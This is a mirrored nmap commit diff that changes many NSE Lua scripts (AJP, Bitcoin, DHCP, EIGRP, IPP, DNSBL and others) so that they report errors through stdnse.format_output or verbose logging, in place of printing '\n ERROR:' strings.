mirror of
https://github.com/nmap/nmap.git
synced 2025-12-06 04:31:29 +00:00
Remove many ERROR outputs from non-debug NSE output
This commit is contained in:
@@ -30,13 +30,11 @@ portrule = shortport.port_or_service(8009, 'ajp13', 'tcp')
|
|||||||
|
|
||||||
local arg_path = stdnse.get_script_args(SCRIPT_NAME .. ".path")
|
local arg_path = stdnse.get_script_args(SCRIPT_NAME .. ".path")
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local helper = ajp.Helper:new(host, port)
|
local helper = ajp.Helper:new(host, port)
|
||||||
|
|
||||||
if ( not(helper:connect()) ) then
|
if ( not(helper:connect()) ) then
|
||||||
return fail("Failed to connect to AJP server")
|
return stdnse.format_output(false, "Failed to connect to AJP server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, answer = helper:get(arg_path or "/")
|
local status, answer = helper:get(arg_path or "/")
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ portrule = shortport.port_or_service(8009, 'ajp13', 'tcp')
|
|||||||
|
|
||||||
local arg_url = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/"
|
local arg_url = stdnse.get_script_args(SCRIPT_NAME .. ".path") or "/"
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
|
|||||||
@@ -31,8 +31,6 @@ categories = {"discovery", "safe"}
|
|||||||
|
|
||||||
local arg_path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or "/"
|
local arg_path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or "/"
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local method
|
local method
|
||||||
local helper = ajp.Helper:new(host, port)
|
local helper = ajp.Helper:new(host, port)
|
||||||
@@ -42,7 +40,7 @@ action = function(host, port)
|
|||||||
helper:close()
|
helper:close()
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to retrieve server headers")
|
return stdnse.format_output(false, "Failed to retrieve server headers")
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, response.rawheaders)
|
return stdnse.format_output(true, response.rawheaders)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -51,13 +51,11 @@ local function filter_out(t, filter)
|
|||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local helper = ajp.Helper:new(host, port)
|
local helper = ajp.Helper:new(host, port)
|
||||||
if ( not(helper:connect()) ) then
|
if ( not(helper:connect()) ) then
|
||||||
return fail("Failed to connect to server")
|
return stdnse.format_output(false, "Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, response = helper:options(arg_url)
|
local status, response = helper:options(arg_url)
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ local arg_file = stdnse.get_script_args(SCRIPT_NAME .. ".filename")
|
|||||||
local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
|
local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
|
||||||
local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
|
local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
|
|||||||
@@ -38,23 +38,25 @@ categories = {"discovery", "safe"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service(8333, "bitcoin", "tcp" )
|
portrule = shortport.port_or_service(8333, "bitcoin", "tcp" )
|
||||||
|
|
||||||
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local bcoin = bitcoin.Helper:new(host, port, { timeout = 20000 })
|
local bcoin = bitcoin.Helper:new(host, port, { timeout = 20000 })
|
||||||
local status = bcoin:connect()
|
local status = bcoin:connect()
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to connect to server"
|
return fail("Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, ver = bcoin:exchVersion()
|
local status, ver = bcoin:exchVersion()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to extract version information"
|
return fail("Failed to extract version information")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, nodes = bcoin:getNodes()
|
local status, nodes = bcoin:getNodes()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to extract address information"
|
return fail("Failed to extract address information")
|
||||||
end
|
end
|
||||||
bcoin:close()
|
bcoin:close()
|
||||||
|
|
||||||
|
|||||||
@@ -35,6 +35,8 @@ categories = {"discovery", "safe"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service(8333, "bitcoin", "tcp" )
|
portrule = shortport.port_or_service(8333, "bitcoin", "tcp" )
|
||||||
|
|
||||||
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local NETWORK = {
|
local NETWORK = {
|
||||||
@@ -46,12 +48,12 @@ action = function(host, port)
|
|||||||
local status = bcoin:connect()
|
local status = bcoin:connect()
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to connect to server"
|
return fail("Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, ver = bcoin:exchVersion()
|
local status, ver = bcoin:exchVersion()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to extract version information"
|
return fail("Failed to extract version information")
|
||||||
end
|
end
|
||||||
bcoin:close()
|
bcoin:close()
|
||||||
|
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ portrule = shortport.portnumber({8611, 8612}, "udp")
|
|||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local helper = bjnp.Helper:new(host, port)
|
local helper = bjnp.Helper:new(host, port)
|
||||||
if ( not(helper:connect()) ) then
|
if ( not(helper:connect()) ) then
|
||||||
return "\n ERROR: Failed to connect to server"
|
return stdnse.format_output(false, "Failed to connect to server")
|
||||||
end
|
end
|
||||||
local status, attrs
|
local status, attrs
|
||||||
if ( port.number == 8611 ) then
|
if ( port.number == 8611 ) then
|
||||||
|
|||||||
@@ -117,24 +117,22 @@ local function sendConfigInfoRequest(iface)
|
|||||||
dnet:ethernet_close()
|
dnet:ethernet_close()
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
local iname = nmap.get_interface()
|
local iname = nmap.get_interface()
|
||||||
if ( not(iname) ) then
|
if ( not(iname) ) then
|
||||||
stdnse.debug1("No interface supplied, use -e")
|
stdnse.verbose1("No interface supplied, use -e")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(nmap.is_privileged()) ) then
|
if ( not(nmap.is_privileged()) ) then
|
||||||
stdnse.debug1("not running for lack of privileges")
|
stdnse.verbose1("not running for lack of privileges")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local iface = nmap.get_interface_info(iname)
|
local iface = nmap.get_interface_info(iname)
|
||||||
if ( not(iface) ) then
|
if ( not(iface) ) then
|
||||||
return fail("Failed to retrieve interface information")
|
return stdnse.format_output(false, "Failed to retrieve interface information")
|
||||||
end
|
end
|
||||||
|
|
||||||
local pcap = nmap.new_socket()
|
local pcap = nmap.new_socket()
|
||||||
|
|||||||
@@ -149,6 +149,8 @@ local commasep = {
|
|||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
local host, port = "255.255.255.255", 67
|
local host, port = "255.255.255.255", 67
|
||||||
@@ -173,7 +175,7 @@ action = function()
|
|||||||
interfaces = getInterfaces("ethernet", "up")
|
interfaces = getInterfaces("ethernet", "up")
|
||||||
end
|
end
|
||||||
|
|
||||||
if( not(interfaces) ) then return "\n ERROR: Failed to retrieve interfaces (try setting one explicitly using -e)" end
|
if( not(interfaces) ) then return fail("Failed to retrieve interfaces (try setting one explicitly using -e)") end
|
||||||
|
|
||||||
local transaction_id = bin.pack("<I", math.random(0, 0x7FFFFFFF))
|
local transaction_id = bin.pack("<I", math.random(0, 0x7FFFFFFF))
|
||||||
local request_type = dhcp.request_types["DHCPDISCOVER"]
|
local request_type = dhcp.request_types["DHCPDISCOVER"]
|
||||||
@@ -182,7 +184,7 @@ action = function()
|
|||||||
-- we need to set the flags to broadcast
|
-- we need to set the flags to broadcast
|
||||||
local request_options, overrides, lease_time = nil, { flags = 0x8000 }, nil
|
local request_options, overrides, lease_time = nil, { flags = 0x8000 }, nil
|
||||||
local status, packet = dhcp.dhcp_build(request_type, ip_address, mac, nil, request_options, overrides, lease_time, transaction_id)
|
local status, packet = dhcp.dhcp_build(request_type, ip_address, mac, nil, request_options, overrides, lease_time, transaction_id)
|
||||||
if (not(status)) then return "\n ERROR: Failed to build packet" end
|
if (not(status)) then return fail("Failed to build packet") end
|
||||||
|
|
||||||
local threads = {}
|
local threads = {}
|
||||||
local result = {}
|
local result = {}
|
||||||
|
|||||||
@@ -192,6 +192,8 @@ local asListener = function(interface, timeout, astab)
|
|||||||
condvar("signal")
|
condvar("signal")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
-- Get script arguments
|
-- Get script arguments
|
||||||
local as = stdnse.get_script_args(SCRIPT_NAME .. ".as")
|
local as = stdnse.get_script_args(SCRIPT_NAME .. ".as")
|
||||||
@@ -205,7 +207,7 @@ action = function()
|
|||||||
-- K params should be of length 6
|
-- K params should be of length 6
|
||||||
-- Cisco routers ignore eigrp packets that don't have matching K parameters
|
-- Cisco routers ignore eigrp packets that don't have matching K parameters
|
||||||
if #kparams < 6 or #kparams > 6 then
|
if #kparams < 6 or #kparams > 6 then
|
||||||
return "\n ERROR: kparams should be of size 6."
|
return fail("kparams should be of size 6.")
|
||||||
else
|
else
|
||||||
k = {}
|
k = {}
|
||||||
k[1] = string.sub(kparams, 1,1)
|
k[1] = string.sub(kparams, 1,1)
|
||||||
@@ -221,7 +223,7 @@ action = function()
|
|||||||
-- If an interface was provided, get its information
|
-- If an interface was provided, get its information
|
||||||
interface = nmap.get_interface_info(interface)
|
interface = nmap.get_interface_info(interface)
|
||||||
if not interface then
|
if not interface then
|
||||||
return ("\n ERROR: Failed to retrieve %s interface information."):format(interface)
|
return fail(("Failed to retrieve %s interface information."):format(interface))
|
||||||
end
|
end
|
||||||
interfaces = {interface}
|
interfaces = {interface}
|
||||||
stdnse.debug1("Will use %s interface.", interface.shortname)
|
stdnse.debug1("Will use %s interface.", interface.shortname)
|
||||||
@@ -264,7 +266,7 @@ action = function()
|
|||||||
stdnse.debug1("Will use %s A.S value.", astab[1])
|
stdnse.debug1("Will use %s A.S value.", astab[1])
|
||||||
as = astab[1]
|
as = astab[1]
|
||||||
else
|
else
|
||||||
return "\n ERROR: Couldn't get an A.S value."
|
return fail("Couldn't get an A.S value.")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -333,7 +333,7 @@ action = function(host, port)
|
|||||||
-- Get the interface information
|
-- Get the interface information
|
||||||
interface = nmap.get_interface_info(interface)
|
interface = nmap.get_interface_info(interface)
|
||||||
if not interface then
|
if not interface then
|
||||||
return ("ERROR: Failed to retrieve %s interface information."):format(interface)
|
return stdnse.format_output(false, ("Failed to retrieve %s interface information."):format(interface))
|
||||||
end
|
end
|
||||||
interfaces = {interface}
|
interfaces = {interface}
|
||||||
stdnse.debug1("Will use %s interface.", interface.shortname)
|
stdnse.debug1("Will use %s interface.", interface.shortname)
|
||||||
|
|||||||
@@ -105,14 +105,14 @@ loadDecoders = function(fname)
|
|||||||
local abs_fname = nmap.fetchfile(fname)
|
local abs_fname = nmap.fetchfile(fname)
|
||||||
|
|
||||||
if ( not(abs_fname) ) then
|
if ( not(abs_fname) ) then
|
||||||
return false, ("ERROR: Failed to load decoder definition (%s)"):format(fname)
|
return false, ("Failed to load decoder definition (%s)"):format(fname)
|
||||||
end
|
end
|
||||||
|
|
||||||
local env = setmetatable({Decoders = {}}, {__index = _G});
|
local env = setmetatable({Decoders = {}}, {__index = _G});
|
||||||
local file = loadfile(abs_fname, "t", env)
|
local file = loadfile(abs_fname, "t", env)
|
||||||
if(not(file)) then
|
if(not(file)) then
|
||||||
stdnse.debug1("Couldn't load decoder file: %s", fname)
|
stdnse.debug1("Couldn't load decoder file: %s", fname)
|
||||||
return false, "ERROR: Couldn't load decoder file: " .. fname
|
return false, "Couldn't load decoder file: " .. fname
|
||||||
end
|
end
|
||||||
|
|
||||||
file()
|
file()
|
||||||
@@ -120,7 +120,7 @@ loadDecoders = function(fname)
|
|||||||
local d = env.Decoders
|
local d = env.Decoders
|
||||||
|
|
||||||
if ( d ) then return true, d end
|
if ( d ) then return true, d end
|
||||||
return false, "ERROR: Failed to load decoders"
|
return false, "Failed to load decoders"
|
||||||
end
|
end
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -223,6 +223,8 @@ getInterfaces = function(link, up)
|
|||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
local DECODERFILE = "nselib/data/packetdecoders.lua"
|
local DECODERFILE = "nselib/data/packetdecoders.lua"
|
||||||
@@ -234,7 +236,7 @@ action = function()
|
|||||||
local iinfo, err = nmap.get_interface_info(iface)
|
local iinfo, err = nmap.get_interface_info(iface)
|
||||||
|
|
||||||
if ( not(iinfo.address) ) then
|
if ( not(iinfo.address) ) then
|
||||||
return "\n ERROR: The IP address of the interface could not be determined ..."
|
return fail("The IP address of the interface could not be determined")
|
||||||
end
|
end
|
||||||
|
|
||||||
interfaces = { { name = iface, address = iinfo.address } }
|
interfaces = { { name = iface, address = iinfo.address } }
|
||||||
@@ -245,12 +247,12 @@ action = function()
|
|||||||
|
|
||||||
-- make sure we have at least one interface to start sniffing
|
-- make sure we have at least one interface to start sniffing
|
||||||
if ( #interfaces == 0 ) then
|
if ( #interfaces == 0 ) then
|
||||||
return "\n ERROR: Could not determine any valid interfaces"
|
return fail("Could not determine any valid interfaces")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- load the decoders from file
|
-- load the decoders from file
|
||||||
local status, Decoders = loadDecoders(DECODERFILE)
|
local status, Decoders = loadDecoders(DECODERFILE)
|
||||||
if ( not(status) ) then return "\n " .. Decoders end
|
if ( not(status) ) then return fail(Decoders) end
|
||||||
|
|
||||||
-- create a local table to handle instantiated decoders
|
-- create a local table to handle instantiated decoders
|
||||||
local decodertab = { udp = {}, ether = {} }
|
local decodertab = { udp = {}, ether = {} }
|
||||||
|
|||||||
@@ -58,8 +58,6 @@ local function Callit( host, port, program, protocol )
|
|||||||
return true, results
|
return true, results
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
local results = {}
|
local results = {}
|
||||||
@@ -80,7 +78,7 @@ action = function()
|
|||||||
-- warn about problematic sends on OS X requiring the interface to be
|
-- warn about problematic sends on OS X requiring the interface to be
|
||||||
-- supplied as part of IPv6
|
-- supplied as part of IPv6
|
||||||
if ( not(status) and results == "Portmap.Callit: Failed to send data" ) then
|
if ( not(status) and results == "Portmap.Callit: Failed to send data" ) then
|
||||||
return fail("Failed sending data, try supplying the correct interface using -e")
|
return stdnse.format_output(false, "Failed sending data, try supplying the correct interface using -e")
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ action = function()
|
|||||||
for i=1,2 do
|
for i=1,2 do
|
||||||
local status = socket:sendto(host, port, "NQ")
|
local status = socket:sendto(host, port, "NQ")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to send broadcast request"
|
return stdnse.format_output(false, "Failed to send broadcast request")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ local function udpProbe(probe, responses)
|
|||||||
for i=1,2 do
|
for i=1,2 do
|
||||||
local status = socket:sendto(probe.host, probe.port, probe.data)
|
local status = socket:sendto(probe.host, probe.port, probe.data)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to send broadcast request"
|
return stdnse.format_output(false, "Failed to send broadcast request")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -159,7 +159,7 @@ action = function()
|
|||||||
interface = getInterface(mcast)
|
interface = getInterface(mcast)
|
||||||
end
|
end
|
||||||
if not interface then
|
if not interface then
|
||||||
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
|
return stdnse.format_output(false, ("Couldn't get interface for %s"):format(mcast))
|
||||||
end
|
end
|
||||||
|
|
||||||
stdnse.debug1("will send via %s interface.", interface.shortname)
|
stdnse.debug1("will send via %s interface.", interface.shortname)
|
||||||
|
|||||||
@@ -43,9 +43,7 @@ prerule = function()
|
|||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err)
|
local function fail(err)
|
||||||
if ( err ) then
|
return stdnse.format_output(false, err)
|
||||||
return ("\n ERROR: %s"):format(err)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
local function discoverPPPoE(helper)
|
local function discoverPPPoE(helper)
|
||||||
|
|||||||
@@ -147,7 +147,7 @@ RIPng = {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
-- Parses a RIPng response
|
-- Parses a RIPng response
|
||||||
-- @return ret string containing the routing table
|
-- @return ret string containing the routing table
|
||||||
|
|||||||
@@ -171,7 +171,7 @@ action = function()
|
|||||||
local status, instances = helper:ping()
|
local status, instances = helper:ping()
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return ("\n ERROR: %s"):format(instances)
|
return stdnse.format_output(false, instances)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- if we don't have any instances, silently abort
|
-- if we don't have any instances, silently abort
|
||||||
|
|||||||
@@ -27,15 +27,13 @@ categories = {"broadcast", "safe"}
|
|||||||
|
|
||||||
prerule = function() return ( nmap.address_family() == 'inet' ) end
|
prerule = function() return ( nmap.address_family() == 'inet' ) end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
local socket = nmap.new_socket("udp")
|
local socket = nmap.new_socket("udp")
|
||||||
local host, port = { ip = "255.255.255.255" }, { number = 30303, protocol = "udp" }
|
local host, port = { ip = "255.255.255.255" }, { number = 30303, protocol = "udp" }
|
||||||
|
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
if ( not(socket:sendto(host, port, "D")) ) then
|
if ( not(socket:sendto(host, port, "D")) ) then
|
||||||
return fail("Failed to send discovery request to server")
|
return stdnse.format_output(false, "Failed to send discovery request to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local output = {}
|
local output = {}
|
||||||
|
|||||||
@@ -39,6 +39,7 @@ local function createWOLPacket(mac)
|
|||||||
return "\xff\xff\xff\xff\xff\xff" .. string.rep(bin.pack("H", mac), 16)
|
return "\xff\xff\xff\xff\xff\xff" .. string.rep(bin.pack("H", mac), 16)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
@@ -48,7 +49,7 @@ action = function()
|
|||||||
elseif( MAC:match("%x%x%-%x%x%-%x%x%-%x%x%-%x%x%-%x%x") ) then
|
elseif( MAC:match("%x%x%-%x%x%-%x%x%-%x%x%-%x%x%-%x%x") ) then
|
||||||
MAC_hex = MAC:gsub("-", "")
|
MAC_hex = MAC:gsub("-", "")
|
||||||
else
|
else
|
||||||
return "\n ERROR: Failed to process MAC address"
|
return fail("Failed to process MAC address")
|
||||||
end
|
end
|
||||||
|
|
||||||
local host = { ip = address or "255.255.255.255" }
|
local host = { ip = address or "255.255.255.255" }
|
||||||
@@ -60,7 +61,7 @@ action = function()
|
|||||||
local packet = createWOLPacket(MAC_hex)
|
local packet = createWOLPacket(MAC_hex)
|
||||||
local status, err = socket:sendto(host, port, packet)
|
local status, err = socket:sendto(host, port, packet)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to send packet"
|
return fail("Failed to send packet")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, ("Sent WOL packet to: %s"):format(MAC))
|
return stdnse.format_output(true, ("Sent WOL packet to: %s"):format(MAC))
|
||||||
|
|||||||
@@ -192,13 +192,15 @@ local function dhcpDiscover()
|
|||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
local status, response, wpad
|
local status, response, wpad
|
||||||
|
|
||||||
if ( arg_nodhcp and arg_nodns ) then
|
if ( arg_nodhcp and arg_nodns ) then
|
||||||
return "\n ERROR: Both nodns and nodhcp arguments were supplied"
|
stdnse.verbose1("Both nodns and nodhcp arguments were supplied")
|
||||||
|
return fail("Both nodns and nodhcp arguments were supplied")
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( nmap.is_privileged() and not(arg_nodhcp) ) then
|
if ( nmap.is_privileged() and not(arg_nodhcp) ) then
|
||||||
@@ -213,7 +215,7 @@ action = function()
|
|||||||
status, response = dnsDiscover()
|
status, response = dnsDiscover()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local services = "DNS" .. ( nmap.is_privileged() and "/DHCP" or "" )
|
local services = "DNS" .. ( nmap.is_privileged() and "/DHCP" or "" )
|
||||||
return ("\n ERROR: Could not find WPAD using %s"):format(services)
|
return fail(("Could not find WPAD using %s"):format(services))
|
||||||
end
|
end
|
||||||
wpad = ("http://%s/wpad.dat"):format( response.name )
|
wpad = ("http://%s/wpad.dat"):format( response.name )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -43,13 +43,11 @@ categories = {"safe", "discovery"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service(631, "ipp", "tcp", "open")
|
portrule = shortport.port_or_service(631, "ipp", "tcp", "open")
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local helper = ipp.Helper:new(host, port)
|
local helper = ipp.Helper:new(host, port)
|
||||||
if ( not(helper:connect()) ) then
|
if ( not(helper:connect()) ) then
|
||||||
return fail("Failed to connect to server")
|
return stdnse.format_output(false, "Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, printers = helper:getPrinters()
|
local status, printers = helper:getPrinters()
|
||||||
|
|||||||
@@ -34,12 +34,10 @@ categories = {"safe", "discovery"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service(631, "ipp", "tcp", "open")
|
portrule = shortport.port_or_service(631, "ipp", "tcp", "open")
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local helper = ipp.Helper:new(host, port)
|
local helper = ipp.Helper:new(host, port)
|
||||||
if ( not(helper:connect()) ) then
|
if ( not(helper:connect()) ) then
|
||||||
return fail("Failed to connect to server")
|
return stdnse.format_output(false, "Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local output = helper:getQueueInfo()
|
local output = helper:getQueueInfo()
|
||||||
|
|||||||
@@ -100,7 +100,7 @@ action = function(host, port)
|
|||||||
if ( repofile ) then
|
if ( repofile ) then
|
||||||
f = io.open( repofile, "r" )
|
f = io.open( repofile, "r" )
|
||||||
if ( not(f) ) then
|
if ( not(f) ) then
|
||||||
return ("\n ERROR: Failed to open repository file: %s"):format(repofile)
|
return stdnse.format_output(false, ("Failed to open repository file: %s"):format(repofile))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -91,7 +91,7 @@ action = function(host, port)
|
|||||||
local repo = stdnse.get_script_args("cvs-brute.repo") and
|
local repo = stdnse.get_script_args("cvs-brute.repo") and
|
||||||
{ stdnse.get_script_args("cvs-brute.repo") } or
|
{ stdnse.get_script_args("cvs-brute.repo") } or
|
||||||
getDiscoveredRepos(host)
|
getDiscoveredRepos(host)
|
||||||
if ( not(repo) ) then return "\n ERROR: No CVS repository specified (see cvs-brute.repo)" end
|
if ( not(repo) ) then stdnse.verbose1("ERROR: No CVS repository specified (see cvs-brute.repo)") end
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
|
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ categories = {"discovery", "safe"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service(2628, "dict", "tcp")
|
portrule = shortport.port_or_service(2628, "dict", "tcp")
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
|
|||||||
@@ -49,7 +49,7 @@ portrule = shortport.port_or_service(3632, "distcc")
|
|||||||
|
|
||||||
local arg_cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "id"
|
local arg_cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "id"
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
|
|||||||
@@ -109,17 +109,19 @@ local function formatResult(result)
|
|||||||
return output
|
return output
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
dnsblAction = function(host)
|
dnsblAction = function(host)
|
||||||
|
|
||||||
local helper
|
local helper
|
||||||
if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then
|
if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then
|
||||||
return "\n ERROR: A service filter can't be used without a specific category"
|
return fail("A service filter can't be used without a specific category")
|
||||||
elseif( "all" ~= arg_category ) then
|
elseif( "all" ~= arg_category ) then
|
||||||
helper = dnsbl.Helper:new(arg_category, arg_mode)
|
helper = dnsbl.Helper:new(arg_category, arg_mode)
|
||||||
helper:setFilter(arg_services)
|
helper:setFilter(arg_services)
|
||||||
local status, err = helper:validateFilter()
|
local status, err = helper:validateFilter()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return ("\n ERROR: %s"):format(err)
|
return fail(("%s"):format(err))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -153,11 +155,11 @@ end
|
|||||||
action = function(...)
|
action = function(...)
|
||||||
|
|
||||||
if ( arg_mode ~= "short" and arg_mode ~= "long" ) then
|
if ( arg_mode ~= "short" and arg_mode ~= "long" ) then
|
||||||
return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'"
|
return fail("Invalid argument supplied, mode should be either 'short' or 'long'")
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( arg_IP and not(ipOps.todword(arg_IP)) ) then
|
if ( arg_IP and not(ipOps.todword(arg_IP)) ) then
|
||||||
return "\n ERROR: Invalid IP address was supplied"
|
return fail("Invalid IP address was supplied")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- if the list argument was given, just list the services and abort
|
-- if the list argument was given, just list the services and abort
|
||||||
|
|||||||
@@ -330,12 +330,10 @@ local get_addresses = function(address, mask, domain, nameserver, port)
|
|||||||
return resp
|
return resp
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
if ( not(argDomain) ) then
|
if ( not(argDomain) ) then
|
||||||
return fail(SCRIPT_NAME .. ".domain was not specified")
|
return stdnse.format_output(false, SCRIPT_NAME .. ".domain was not specified")
|
||||||
end
|
end
|
||||||
|
|
||||||
local nameserver = (host and host.ip) or argNS
|
local nameserver = (host and host.ip) or argNS
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ local comm = require "comm"
|
|||||||
